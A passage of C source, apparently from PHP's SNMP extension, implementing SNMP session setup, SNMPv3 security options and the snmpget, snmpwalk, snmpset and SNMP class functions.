memmove((char *)objid_query->vars[0].name, (char *)objid_mib, sizeof(objid_mib));
objid_query->vars[0].name_length = sizeof(objid_mib) / sizeof(oid);
}
} else {
for (objid_query->offset = 0; objid_query->offset < objid_query->count; objid_query->offset++) {
objid_query->vars[objid_query->offset].name_length = MAX_OID_LEN;
if (!snmp_parse_oid(objid_query->vars[objid_query->offset].oid, objid_query->vars[objid_query->offset].name, &(objid_query->vars[objid_query->offset].name_length))) {
php_snmp_error(object, NULL, PHP_SNMP_ERRNO_OID_PARSING_ERROR, "Invalid object identifier: %s", objid_query->vars[objid_query->offset].oid);
efree(objid_query->vars);
return FALSE;
}
}
}
objid_query->offset = 0;
objid_query->step = objid_query->count;
return (objid_query->count > 0);
}
/* }}} */
/* {{{ netsnmp_session_init
allocates memory for session and session->peername, caller should free it manually using netsnmp_session_free() and efree()
*/
static int netsnmp_session_init(php_snmp_session **session_p, int version, char *hostname, char *community, int timeout, int retries)
{
php_snmp_session *session;
char *pptr, *host_ptr;
int force_ipv6 = FALSE;
int n;
struct sockaddr **psal;
struct sockaddr **res;
*session_p = (php_snmp_session *)emalloc(sizeof(php_snmp_session));
session = *session_p;
if (session == NULL) {
php_error_docref(NULL, E_WARNING, "emalloc() failed allocating session");
return (-1);
}
memset(session, 0, sizeof(php_snmp_session));
snmp_sess_init(session);
session->version = version;
session->remote_port = SNMP_PORT;
session->peername = emalloc(MAX_NAME_LEN);
if (session->peername == NULL) {
php_error_docref(NULL, E_WARNING, "emalloc() failed while copying hostname");
return (-1);
}
/* we copy original hostname for further processing */
strlcpy(session->peername, hostname, MAX_NAME_LEN);
host_ptr = session->peername;
/* Reading the hostname and its optional non-default port number */
if (*host_ptr == '[') { /* IPv6 address */
force_ipv6 = TRUE;
host_ptr++;
if ((pptr = strchr(host_ptr, ']'))) {
if (pptr[1] == ':') {
session->remote_port = atoi(pptr + 2);
}
*pptr = '\0';
} else {
php_error_docref(NULL, E_WARNING, "malformed IPv6 address, closing square bracket missing");
return (-1);
}
} else { /* IPv4 address */
if ((pptr = strchr(host_ptr, ':'))) {
session->remote_port = atoi(pptr + 1);
*pptr = '\0';
}
}
/* since Net-SNMP library requires 'udp6:' prefix for all IPv6 addresses (in FQDN form too) we need to
perform possible name resolution before running any SNMP queries */
if ((n = php_network_getaddresses(host_ptr, SOCK_DGRAM, &psal, NULL)) == 0) { /* some resolver error */
/* warnings sent, bailing out */
return (-1);
}
/* we have everything we need in psal, flush peername and fill it properly */
*(session->peername) = '\0';
res = psal;
while (n-- > 0) {
pptr = session->peername;
#if HAVE_GETADDRINFO && HAVE_IPV6 && HAVE_INET_NTOP
if (force_ipv6 && (*res)->sa_family != AF_INET6) {
res++;
continue;
}
if ((*res)->sa_family == AF_INET6) {
strcpy(session->peername, "udp6:[");
pptr = session->peername + strlen(session->peername);
inet_ntop((*res)->sa_family, &(((struct sockaddr_in6*)(*res))->sin6_addr), pptr, MAX_NAME_LEN);
strcat(pptr, "]");
} else if ((*res)->sa_family == AF_INET) {
inet_ntop((*res)->sa_family, &(((struct sockaddr_in*)(*res))->sin_addr), pptr, MAX_NAME_LEN);
} else {
res++;
continue;
}
#else
if ((*res)->sa_family != AF_INET) {
res++;
continue;
}
strcat(pptr, inet_ntoa(((struct sockaddr_in*)(*res))->sin_addr));
#endif
break;
}
if (strlen(session->peername) == 0) {
php_error_docref(NULL, E_WARNING, "Unknown failure while resolving '%s'", hostname);
return (-1);
}
/* XXX FIXME
There should be check for non-empty session->peername!
*/
/* put back non-standard SNMP port */
if (session->remote_port != SNMP_PORT) {
pptr = session->peername + strlen(session->peername);
sprintf(pptr, ":%d", session->remote_port);
}
php_network_freeaddresses(psal);
if (version == SNMP_VERSION_3) {
/* Setting the security name. */
session->securityName = estrdup(community);
session->securityNameLen = strlen(session->securityName);
} else {
session->authenticator = NULL;
session->community = (u_char *)estrdup(community);
session->community_len = strlen(community);
}
session->retries = retries;
session->timeout = timeout;
return (0);
}
/* }}} */
/* {{{ int netsnmp_session_set_sec_level(struct snmp_session *s, char *level)
Set the security level in the snmpv3 session */
static int netsnmp_session_set_sec_level(struct snmp_session *s, char *level)
{
if (!strcasecmp(level, "noAuthNoPriv") || !strcasecmp(level, "nanp")) {
s->securityLevel = SNMP_SEC_LEVEL_NOAUTH;
} else if (!strcasecmp(level, "authNoPriv") || !strcasecmp(level, "anp")) {
s->securityLevel = SNMP_SEC_LEVEL_AUTHNOPRIV;
} else if (!strcasecmp(level, "authPriv") || !strcasecmp(level, "ap")) {
s->securityLevel = SNMP_SEC_LEVEL_AUTHPRIV;
} else {
return (-1);
}
return (0);
}
/* }}} */
/* {{{ int netsnmp_session_set_auth_protocol(struct snmp_session *s, char *prot)
Set the authentication protocol in the snmpv3 session */
static int netsnmp_session_set_auth_protocol(struct snmp_session *s, char *prot)
{
if (!strcasecmp(prot, "MD5")) {
s->securityAuthProto = usmHMACMD5AuthProtocol;
s->securityAuthProtoLen = USM_AUTH_PROTO_MD5_LEN;
} else if (!strcasecmp(prot, "SHA")) {
s->securityAuthProto = usmHMACSHA1AuthProtocol;
s->securityAuthProtoLen = USM_AUTH_PROTO_SHA_LEN;
} else {
php_error_docref(NULL, E_WARNING, "Unknown authentication protocol '%s'", prot);
return (-1);
}
return (0);
}
/* }}} */
/* {{{ int netsnmp_session_set_sec_protocol(struct snmp_session *s, char *prot)
Set the security protocol in the snmpv3 session */
static int netsnmp_session_set_sec_protocol(struct snmp_session *s, char *prot)
{
if (!strcasecmp(prot, "DES")) {
s->securityPrivProto = usmDESPrivProtocol;
s->securityPrivProtoLen = USM_PRIV_PROTO_DES_LEN;
#ifdef HAVE_AES
} else if (!strcasecmp(prot, "AES128") || !strcasecmp(prot, "AES")) {
s->securityPrivProto = usmAESPrivProtocol;
s->securityPrivProtoLen = USM_PRIV_PROTO_AES_LEN;
#endif
} else {
php_error_docref(NULL, E_WARNING, "Unknown security protocol '%s'", prot);
return (-1);
}
return (0);
}
/* }}} */
/* {{{ int netsnmp_session_gen_auth_key(struct snmp_session *s, char *pass)
Make key from pass phrase in the snmpv3 session */
static int netsnmp_session_gen_auth_key(struct snmp_session *s, char *pass)
{
int snmp_errno;
s->securityAuthKeyLen = USM_AUTH_KU_LEN;
if ((snmp_errno = generate_Ku(s->securityAuthProto, s->securityAuthProtoLen,
(u_char *) pass, strlen(pass),
s->securityAuthKey, &(s->securityAuthKeyLen)))) {
php_error_docref(NULL, E_WARNING, "Error generating a key for authentication pass phrase '%s': %s", pass, snmp_api_errstring(snmp_errno));
return (-1);
}
return (0);
}
/* }}} */
/* {{{ int netsnmp_session_gen_sec_key(struct snmp_session *s, u_char *pass)
Make key from pass phrase in the snmpv3 session */
static int netsnmp_session_gen_sec_key(struct snmp_session *s, char *pass)
{
int snmp_errno;
s->securityPrivKeyLen = USM_PRIV_KU_LEN;
if ((snmp_errno = generate_Ku(s->securityAuthProto, s->securityAuthProtoLen,
(u_char *)pass, strlen(pass),
s->securityPrivKey, &(s->securityPrivKeyLen)))) {
php_error_docref(NULL, E_WARNING, "Error generating a key for privacy pass phrase '%s': %s", pass, snmp_api_errstring(snmp_errno));
return (-2);
}
return (0);
}
/* }}} */
/* {{{ in netsnmp_session_set_contextEngineID(struct snmp_session *s, u_char * contextEngineID)
Set context Engine Id in the snmpv3 session */
static int netsnmp_session_set_contextEngineID(struct snmp_session *s, char * contextEngineID)
{
size_t ebuf_len = 32, eout_len = 0;
u_char *ebuf = (u_char *) emalloc(ebuf_len);
if (ebuf == NULL) {
php_error_docref(NULL, E_WARNING, "malloc failure setting contextEngineID");
return (-1);
}
if (!snmp_hex_to_binary(&ebuf, &ebuf_len, &eout_len, 1, contextEngineID)) {
php_error_docref(NULL, E_WARNING, "Bad engine ID value '%s'", contextEngineID);
efree(ebuf);
return (-1);
}
if (s->contextEngineID) {
efree(s->contextEngineID);
}
s->contextEngineID = ebuf;
s->contextEngineIDLen = eout_len;
return (0);
}
/* }}} */
/* {{{ php_set_security(struct snmp_session *session, char *sec_level, char *auth_protocol, char *auth_passphrase, char *priv_protocol, char *priv_passphrase, char *contextName, char *contextEngineID)
Set all snmpv3-related security options */
static int netsnmp_session_set_security(struct snmp_session *session, char *sec_level, char *auth_protocol, char *auth_passphrase, char *priv_protocol, char *priv_passphrase, char *contextName, char *contextEngineID)
{
/* Setting the security level. */
if (netsnmp_session_set_sec_level(session, sec_level)) {
php_error_docref(NULL, E_WARNING, "Invalid security level '%s'", sec_level);
return (-1);
}
if (session->securityLevel == SNMP_SEC_LEVEL_AUTHNOPRIV || session->securityLevel == SNMP_SEC_LEVEL_AUTHPRIV) {
/* Setting the authentication protocol. */
if (netsnmp_session_set_auth_protocol(session, auth_protocol)) {
/* Warning message sent already, just bail out */
return (-1);
}
/* Setting the authentication passphrase. */
if (netsnmp_session_gen_auth_key(session, auth_passphrase)) {
/* Warning message sent already, just bail out */
return (-1);
}
if (session->securityLevel == SNMP_SEC_LEVEL_AUTHPRIV) {
/* Setting the security protocol. */
if (netsnmp_session_set_sec_protocol(session, priv_protocol)) {
/* Warning message sent already, just bail out */
return (-1);
}
/* Setting the security protocol passphrase. */
if (netsnmp_session_gen_sec_key(session, priv_passphrase)) {
/* Warning message sent already, just bail out */
return (-1);
}
}
}
/* Setting contextName if specified */
if (contextName) {
session->contextName = contextName;
session->contextNameLen = strlen(contextName);
}
/* Setting contextEngineIS if specified */
if (contextEngineID && strlen(contextEngineID) && netsnmp_session_set_contextEngineID(session, contextEngineID)) {
/* Warning message sent already, just bail out */
return (-1);
}
return (0);
}
/* }}} */
/* {{{ php_snmp
*
* Generic SNMP handler for all versions.
* This function makes use of the internal SNMP object fetcher.
* Used both in old (non-OO) and OO API
*
*/
static void php_snmp(INTERNAL_FUNCTION_PARAMETERS, int st, int version)
{
zval *oid, *value, *type;
char *a1, *a2, *a3, *a4, *a5, *a6, *a7;
size_t a1_len, a2_len, a3_len, a4_len, a5_len, a6_len, a7_len;
zend_bool use_orignames = 0, suffix_keys = 0;
zend_long timeout = SNMP_DEFAULT_TIMEOUT;
zend_long retries = SNMP_DEFAULT_RETRIES;
int argc = ZEND_NUM_ARGS();
struct objid_query objid_query;
php_snmp_session *session;
int session_less_mode = (getThis() == NULL);
php_snmp_object *snmp_object;
php_snmp_object glob_snmp_object;
objid_query.max_repetitions = -1;
objid_query.non_repeaters = 0;
objid_query.valueretrieval = SNMP_G(valueretrieval);
objid_query.oid_increasing_check = TRUE;
if (session_less_mode) {
if (version == SNMP_VERSION_3) {
if (st & SNMP_CMD_SET) {
if (zend_parse_parameters(argc, "ssssssszzz|ll", &a1, &a1_len, &a2, &a2_len, &a3, &a3_len,
&a4, &a4_len, &a5, &a5_len, &a6, &a6_len, &a7, &a7_len, &oid, &type, &value, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
} else {
/* SNMP_CMD_GET
* SNMP_CMD_GETNEXT
* SNMP_CMD_WALK
*/
if (zend_parse_parameters(argc, "sssssssz|ll", &a1, &a1_len, &a2, &a2_len, &a3, &a3_len,
&a4, &a4_len, &a5, &a5_len, &a6, &a6_len, &a7, &a7_len, &oid, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
}
} else {
if (st & SNMP_CMD_SET) {
if (zend_parse_parameters(argc, "sszzz|ll", &a1, &a1_len, &a2, &a2_len, &oid, &type, &value, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
} else {
/* SNMP_CMD_GET
* SNMP_CMD_GETNEXT
* SNMP_CMD_WALK
*/
if (zend_parse_parameters(argc, "ssz|ll", &a1, &a1_len, &a2, &a2_len, &oid, &timeout, &retries) == FAILURE) {
RETURN_FALSE;
}
}
}
} else {
if (st & SNMP_CMD_SET) {
if (zend_parse_parameters(argc, "zzz", &oid, &type, &value) == FAILURE) {
RETURN_FALSE;
}
} else if (st & SNMP_CMD_WALK) {
if (zend_parse_parameters(argc, "z|bll", &oid, &suffix_keys, &(objid_query.max_repetitions), &(objid_query.non_repeaters)) == FAILURE) {
RETURN_FALSE;
}
if (suffix_keys) {
st |= SNMP_USE_SUFFIX_AS_KEYS;
}
} else if (st & SNMP_CMD_GET) {
if (zend_parse_parameters(argc, "z|b", &oid, &use_orignames) == FAILURE) {
RETURN_FALSE;
}
if (use_orignames) {
st |= SNMP_ORIGINAL_NAMES_AS_KEYS;
}
} else {
/* SNMP_CMD_GETNEXT
*/
if (zend_parse_parameters(argc, "z", &oid) == FAILURE) {
RETURN_FALSE;
}
}
}
if (!php_snmp_parse_oid(getThis(), st, &objid_query, oid, type, value)) {
RETURN_FALSE;
}
if (session_less_mode) {
if (netsnmp_session_init(&session, version, a1, a2, timeout, retries)) {
efree(objid_query.vars);
netsnmp_session_free(&session);
RETURN_FALSE;
}
if (version == SNMP_VERSION_3 && netsnmp_session_set_security(session, a3, a4, a5, a6, a7, NULL, NULL)) {
efree(objid_query.vars);
netsnmp_session_free(&session);
/* Warning message sent already, just bail out */
RETURN_FALSE;
}
} else {
zval *object = getThis();
snmp_object = Z_SNMP_P(object);
session = snmp_object->session;
if (!session) {
php_error_docref(NULL, E_WARNING, "Invalid or uninitialized SNMP object");
efree(objid_query.vars);
RETURN_FALSE;
}
if (snmp_object->max_oids > 0) {
objid_query.step = snmp_object->max_oids;
if (objid_query.max_repetitions < 0) { /* unspecified in function call, use session-wise */
objid_query.max_repetitions = snmp_object->max_oids;
}
}
objid_query.oid_increasing_check = snmp_object->oid_increasing_check;
objid_query.valueretrieval = snmp_object->valueretrieval;
glob_snmp_object.enum_print = netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM);
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM, snmp_object->enum_print);
glob_snmp_object.quick_print = netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT);
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT, snmp_object->quick_print);
glob_snmp_object.oid_output_format = netsnmp_ds_get_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT);
netsnmp_ds_set_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT, snmp_object->oid_output_format);
}
if (objid_query.max_repetitions < 0) {
objid_query.max_repetitions = 20; /* provide correct default value */
}
php_snmp_internal(INTERNAL_FUNCTION_PARAM_PASSTHRU, st, session, &objid_query);
efree(objid_query.vars);
if (session_less_mode) {
netsnmp_session_free(&session);
} else {
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM, glob_snmp_object.enum_print);
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT, glob_snmp_object.quick_print);
netsnmp_ds_set_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT, glob_snmp_object.oid_output_format);
}
}
/* }}} */
/* {{{ proto mixed snmpget(string host, string community, mixed object_id [, int timeout [, int retries]])
Fetch a SNMP object */
PHP_FUNCTION(snmpget)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GET, SNMP_VERSION_1);
}
/* }}} */
/* {{{ proto mixed snmpgetnext(string host, string community, mixed object_id [, int timeout [, int retries]])
Fetch a SNMP object */
PHP_FUNCTION(snmpgetnext)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GETNEXT, SNMP_VERSION_1);
}
/* }}} */
/* {{{ proto mixed snmpwalk(string host, string community, mixed object_id [, int timeout [, int retries]])
Return all objects under the specified object id */
PHP_FUNCTION(snmpwalk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, (SNMP_CMD_WALK | SNMP_NUMERIC_KEYS), SNMP_VERSION_1);
}
/* }}} */
/* {{{ proto mixed snmprealwalk(string host, string community, mixed object_id [, int timeout [, int retries]])
Return all objects including their respective object id within the specified one */
PHP_FUNCTION(snmprealwalk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_WALK, SNMP_VERSION_1);
}
/* }}} */
/* {{{ proto bool snmpset(string host, string community, mixed object_id, mixed type, mixed value [, int timeout [, int retries]])
Set the value of a SNMP object */
PHP_FUNCTION(snmpset)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_SET, SNMP_VERSION_1);
}
/* }}} */
/* {{{ proto bool snmp_get_quick_print(void)
Return the current status of quick_print */
PHP_FUNCTION(snmp_get_quick_print)
{
if (zend_parse_parameters_none() == FAILURE) {
return;
}
RETURN_BOOL(netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT));
}
/* }}} */
/* {{{ proto bool snmp_set_quick_print(int quick_print)
Return all objects including their respective object id within the specified one */
PHP_FUNCTION(snmp_set_quick_print)
{
zend_long a1;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l", &a1) == FAILURE) {
RETURN_FALSE;
}
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT, (int)a1);
RETURN_TRUE;
}
/* }}} */
/* {{{ proto bool snmp_set_enum_print(int enum_print)
Return all values that are enums with their enum value instead of the raw integer */
PHP_FUNCTION(snmp_set_enum_print)
{
zend_long a1;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l", &a1) == FAILURE) {
RETURN_FALSE;
}
netsnmp_ds_set_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM, (int) a1);
RETURN_TRUE;
}
/* }}} */
/* {{{ proto bool snmp_set_oid_output_format(int oid_format)
Set the OID output format. */
PHP_FUNCTION(snmp_set_oid_output_format)
{
zend_long a1;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l", &a1) == FAILURE) {
RETURN_FALSE;
}
switch((int) a1) {
case NETSNMP_OID_OUTPUT_SUFFIX:
case NETSNMP_OID_OUTPUT_MODULE:
case NETSNMP_OID_OUTPUT_FULL:
case NETSNMP_OID_OUTPUT_NUMERIC:
case NETSNMP_OID_OUTPUT_UCD:
case NETSNMP_OID_OUTPUT_NONE:
netsnmp_ds_set_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT, a1);
RETURN_TRUE;
break;
default:
php_error_docref(NULL, E_WARNING, "Unknown SNMP output print format '%d'", (int) a1);
RETURN_FALSE;
break;
}
}
/* }}} */
/* {{{ proto mixed snmp2_get(string host, string community, mixed object_id [, int timeout [, int retries]])
Fetch a SNMP object */
PHP_FUNCTION(snmp2_get)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GET, SNMP_VERSION_2c);
}
/* }}} */
/* {{{ proto mixed snmp2_getnext(string host, string community, mixed object_id [, int timeout [, int retries]])
Fetch a SNMP object */
PHP_FUNCTION(snmp2_getnext)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GETNEXT, SNMP_VERSION_2c);
}
/* }}} */
/* {{{ proto mixed snmp2_walk(string host, string community, mixed object_id [, int timeout [, int retries]])
Return all objects under the specified object id */
PHP_FUNCTION(snmp2_walk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, (SNMP_CMD_WALK | SNMP_NUMERIC_KEYS), SNMP_VERSION_2c);
}
/* }}} */
/* {{{ proto mixed snmp2_real_walk(string host, string community, mixed object_id [, int timeout [, int retries]])
Return all objects including their respective object id within the specified one */
PHP_FUNCTION(snmp2_real_walk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_WALK, SNMP_VERSION_2c);
}
/* }}} */
/* {{{ proto bool snmp2_set(string host, string community, mixed object_id, mixed type, mixed value [, int timeout [, int retries]])
Set the value of a SNMP object */
PHP_FUNCTION(snmp2_set)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_SET, SNMP_VERSION_2c);
}
/* }}} */
/* {{{ proto mixed snmp3_get(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, mixed object_id [, int timeout [, int retries]])
Fetch the value of a SNMP object */
PHP_FUNCTION(snmp3_get)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GET, SNMP_VERSION_3);
}
/* }}} */
/* {{{ proto mixed snmp3_getnext(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, mixed object_id [, int timeout [, int retries]])
Fetch the value of a SNMP object */
PHP_FUNCTION(snmp3_getnext)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GETNEXT, SNMP_VERSION_3);
}
/* }}} */
/* {{{ proto mixed snmp3_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, mixed object_id [, int timeout [, int retries]])
Fetch the value of a SNMP object */
PHP_FUNCTION(snmp3_walk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, (SNMP_CMD_WALK | SNMP_NUMERIC_KEYS), SNMP_VERSION_3);
}
/* }}} */
/* {{{ proto mixed snmp3_real_walk(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, mixed object_id [, int timeout [, int retries]])
Fetch the value of a SNMP object */
PHP_FUNCTION(snmp3_real_walk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_WALK, SNMP_VERSION_3);
}
/* }}} */
/* {{{ proto bool snmp3_set(string host, string sec_name, string sec_level, string auth_protocol, string auth_passphrase, string priv_protocol, string priv_passphrase, mixed object_id, mixed type, mixed value [, int timeout [, int retries]])
Fetch the value of a SNMP object */
PHP_FUNCTION(snmp3_set)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_SET, SNMP_VERSION_3);
}
/* }}} */
/* {{{ proto bool snmp_set_valueretrieval(int method)
Specify the method how the SNMP values will be returned */
PHP_FUNCTION(snmp_set_valueretrieval)
{
zend_long method;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "l", &method) == FAILURE) {
RETURN_FALSE;
}
if (method >= 0 && method <= (SNMP_VALUE_LIBRARY|SNMP_VALUE_PLAIN|SNMP_VALUE_OBJECT)) {
SNMP_G(valueretrieval) = method;
RETURN_TRUE;
} else {
php_error_docref(NULL, E_WARNING, "Unknown SNMP value retrieval method '" ZEND_LONG_FMT "'", method);
RETURN_FALSE;
}
}
/* }}} */
/* {{{ proto int snmp_get_valueretrieval()
Return the method how the SNMP values will be returned */
PHP_FUNCTION(snmp_get_valueretrieval)
{
if (zend_parse_parameters_none() == FAILURE) {
RETURN_FALSE;
}
RETURN_LONG(SNMP_G(valueretrieval));
}
/* }}} */
/* {{{ proto bool snmp_read_mib(string filename)
Reads and parses a MIB file into the active MIB tree. */
PHP_FUNCTION(snmp_read_mib)
{
char *filename;
size_t filename_len;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "p", &filename, &filename_len) == FAILURE) {
RETURN_FALSE;
}
if (!read_mib(filename)) {
char *error = strerror(errno);
php_error_docref(NULL, E_WARNING, "Error while reading MIB file '%s': %s", filename, error);
RETURN_FALSE;
}
RETURN_TRUE;
}
/* }}} */
/* {{{ proto SNMP SNMP::__construct(int version, string hostname, string community|securityName [, long timeout [, long retries]])
Creates a new SNMP session to specified host. */
PHP_METHOD(snmp, __construct)
{
php_snmp_object *snmp_object;
zval *object = getThis();
char *a1, *a2;
size_t a1_len, a2_len;
zend_long timeout = SNMP_DEFAULT_TIMEOUT;
zend_long retries = SNMP_DEFAULT_RETRIES;
zend_long version = SNMP_DEFAULT_VERSION;
int argc = ZEND_NUM_ARGS();
snmp_object = Z_SNMP_P(object);
if (zend_parse_parameters_throw(argc, "lss|ll", &version, &a1, &a1_len, &a2, &a2_len, &timeout, &retries) == FAILURE) {
return;
}
switch (version) {
case SNMP_VERSION_1:
case SNMP_VERSION_2c:
case SNMP_VERSION_3:
break;
default:
zend_throw_exception(zend_ce_exception, "Unknown SNMP protocol version", 0);
return;
}
/* handle re-open of snmp session */
if (snmp_object->session) {
netsnmp_session_free(&(snmp_object->session));
}
if (netsnmp_session_init(&(snmp_object->session), version, a1, a2, timeout, retries)) {
return;
}
snmp_object->max_oids = 0;
snmp_object->valueretrieval = SNMP_G(valueretrieval);
snmp_object->enum_print = netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_PRINT_NUMERIC_ENUM);
snmp_object->oid_output_format = netsnmp_ds_get_int(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_OID_OUTPUT_FORMAT);
snmp_object->quick_print = netsnmp_ds_get_boolean(NETSNMP_DS_LIBRARY_ID, NETSNMP_DS_LIB_QUICK_PRINT);
snmp_object->oid_increasing_check = TRUE;
snmp_object->exceptions_enabled = 0;
}
/* }}} */
/* {{{ proto bool SNMP::close()
Close SNMP session */
PHP_METHOD(snmp, close)
{
php_snmp_object *snmp_object;
zval *object = getThis();
snmp_object = Z_SNMP_P(object);
if (zend_parse_parameters_none() == FAILURE) {
RETURN_FALSE;
}
netsnmp_session_free(&(snmp_object->session));
RETURN_TRUE;
}
/* }}} */
/* {{{ proto mixed SNMP::get(mixed object_id [, bool preserve_keys])
Fetch a SNMP object returning scalar for single OID and array of oid->value pairs for multi OID request */
PHP_METHOD(snmp, get)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GET, (-1));
}
/* }}} */
/* {{{ proto mixed SNMP::getnext(mixed object_id)
Fetch a SNMP object returning scalar for single OID and array of oid->value pairs for multi OID request */
PHP_METHOD(snmp, getnext)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_GETNEXT, (-1));
}
/* }}} */
/* {{{ proto mixed SNMP::walk(mixed object_id [, bool $suffix_as_key = FALSE [, int $max_repetitions [, int $non_repeaters]])
Return all objects including their respective object id within the specified one as array of oid->value pairs */
PHP_METHOD(snmp, walk)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_WALK, (-1));
}
/* }}} */
/* {{{ proto bool SNMP::set(mixed object_id, mixed type, mixed value)
Set the value of a SNMP object */
PHP_METHOD(snmp, set)
{
php_snmp(INTERNAL_FUNCTION_PARAM_PASSTHRU, SNMP_CMD_SET, (-1));
}
/* }}} */
/* {{{ proto bool SNMP::setSecurity(string sec_level, [ string auth_protocol, string auth_passphrase [, string priv_protocol, string priv_passphrase [, string contextName [, string contextEngineID]]]])
Set SNMPv3 security-related session parameters */
PHP_METHOD(snmp, setSecurity)
{
php_snmp_object *snmp_object;
zval *object = getThis();
char *a1 = "", *a2 = "", *a3 = "", *a4 = "", *a5 = "", *a6 = "", *a7 = "";
size_t a1_len = 0, a2_len = 0, a3_len = 0, a4_len = 0, a5_len = 0, a6_len = 0, a7_len = 0;
int argc = ZEND_NUM_ARGS();
snmp_object = Z_SNMP_P(object);
if (zend_parse_parameters(argc, "s|ssssss", &a1, &a1_len, &a2, &a2_len, &a3, &a3_len,
&a4, &a4_len, &a5, &a5_len, &a6, &a6_len, &a7, &a7_len) == FAILURE) {
RETURN_FALSE;
}
if (netsnmp_session_set_security(snmp_object->session, a1, a2, a3, a4, a5, a6, a7)) {
/* Warning message sent already, just bail out */
RETURN_FALSE;
}
RETURN_TRUE;
}
/* }}} */
/* {{{ proto long SNMP::getErrno()
Get last error code number */
PHP_METHOD(snmp, getErrno)
{
php_snmp_object *snmp_object;
zval *object = getThis();
snmp_object = Z_SNMP_P(object);
RETVAL_LONG(snmp_object->snmp_errno);
return;
}
/* }}} */
/* {{{ proto long SNMP::getError()
Get last error message */
PHP_METHOD(snmp, getError)
{
php_snmp_object *snmp_object;
zval *object = getThis();
snmp_object = Z_SNMP_P(object);
RETURN_STRING(snmp_object->snmp_errstr);
}
/* }}} */
/* {{{ */
void php_snmp_add_property(HashTable *h, const char *name, size_t name_length, php_snmp_read_t read_func, php_snmp_write_t write_func)
{
php_snmp_prop_handler p;
p.name = (char*) name;
p.name_length = name_length;
p.read_func = (read_func) ? read_func : NULL;
p.write_func = (write_func) ? write_func : NULL;
zend_hash_str_add_mem(h, (char *)name, name_length, &p, sizeof(php_snmp_prop_handler));
}
/* }}} */
/* {{{ php_snmp_read_property(zval *object, zval *member, int type[, const zend_literal *key])
Generic object property reader */
zval *php_snmp_read_property(zval *object, zval *member, int type, void **cache_slot, zval *rv)
{
zval tmp_member;
zval *retval;
php_snmp_object *obj;
php_snmp_prop_handler *hnd;
int ret;
obj = Z_SNMP_P(object);
if (Z_TYPE_P(member) != IS_STRING) {
ZVAL_COPY(&tmp_member, member);
convert_to_string(&tmp_member);
member = &tmp_member;
}
hnd = zend_hash_find_ptr(&php_snmp_properties, Z_STR_P(member));
if (hnd && hnd->read_func) {
ret = hnd->read_func(obj, rv);
if (ret == SUCCESS) {
retval = rv;
} else {
retval = &EG(uninitialized_zval);
}
} else {
zend_object_handlers * std_hnd = zend_get_std_object_handlers();
retval = std_hnd->read_property(object, member, type, cache_slot, rv);
}
if (member == &tmp_member) {
zval_ptr_dtor(member);
}
return retval;
}
/* }}} */
/* {{{ php_snmp_write_property(zval *object, zval *member, zval *value[, const zend_literal *key])
Generic object property writer */
